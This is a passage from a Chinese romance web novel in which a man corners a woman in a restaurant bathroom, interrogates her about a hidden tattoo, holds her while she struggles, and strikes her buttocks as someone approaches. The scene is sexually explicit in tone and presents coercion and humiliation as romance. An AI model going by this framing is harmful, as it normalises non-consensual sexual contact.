颤巍巍的线条往延伸,直至鸟儿的尾羽终止在那片白透盈润的空间。 她平时不常穿黑色,衬得肤色更白,说不出的味道。 男人的嗓音里听不出明显情绪,只能听出比平时更哑,低沉的声音落在她耳边。 “什么时候弄的。” 顾袅心尖忽而一颤:“...高中。” 他在她背后,让她完全看不到男人此刻的表情,只能感觉到滚烫的呼吸喷洒在耳尖上。 她说了实话。 那时她高中时瞒着顾宴朝偷偷去纹身店纹的,是她自己画的图案,一半在腰上,一半在臀部,不易被人发现。 曾经在他身边的那几年里,骗了他几次,瞒着他多少件事,恐怕她自己都数不清了。 她听见一声低笑。听不出那笑里的含义,却能感觉到他身上阴鸷的气息。 说出这两个字已经是她的极限,她的呼吸在抖,不受控制,连双腿也忍不住打颤。 她穿的是高跟鞋,站不住了。 她是想跟他好好谈谈,是和平的谈,哪怕和他道歉也好,消除一部分他的怒火,求他放过盛柏言,但绝对不是在这里。 以这种屈辱又羞耻的姿势。 顾袅试图挣扎,可依然被他牢牢禁锢在身前。他右手的茧最厚,摩挲她的肌肤,又痒又麻。 这里是卫生间,她不敢叫,生怕下一秒就有人推门进来。 她只能看见他的手背青筋凸起,隐隐地在发抖,男人的声线却是低沉的,不急不缓。 “浑身上下那么多地方,偏纹这儿?” 他俯下身来,在她耳边,又问了一句。 听见那个刺耳的字眼,她瞳孔一缩,脸颊迅速涨红,不敢相信自己刚才听到了什么。 刚想奋力挣脱他的钳制,门外忽然响起服务生恭敬的问好声:“耿小姐。” 顾袅一时间忘记挣扎,呼吸屏住,就听见那道妖娆动人的女声。 “里面有人吗?” 服务生似乎不敢回答,犹豫之后,方才小心翼翼地回:“好像..好像是顾先生进去了。” 空气静了半秒,下一刻,高跟鞋敲击地砖发出的清脆声响愈来愈近,似乎就在面前。 顾袅的心脏仿佛被一只无形的手紧紧攥住,紧张到鼻尖沁出一层薄薄的汗珠。 他却还在慢条斯理地问她:“男人纹的还是女人纹的?” 她顿时咬紧唇瓣,神经绷紧,不敢发出一点声响,身后的人也没了动作。 只听见门外脚步声越来越近,就在顾袅绷紧神经注意着外面的动静,毫无防备的时候。 身后,男人的手突然落了下来,重重打在她的雪臀上。 浑身上下仿佛窜过一股电流,顾袅吃了痛,头皮一麻,呻吟声不受控制从唇边溢了出来。 她浑身僵住,从未想过自己还会发出这样的声音。娇媚的,听上去让人羞耻的。 清脆声响似乎回荡在卫生间里,雪白震颤,红梅开在雪地里,大片大片的嫣红绽放开来。 身上的胸贴也因为出了细汗,再也粘黏不住,挣脱了束缚,啪嗒一声砸落在地。 门外脚步声停住了。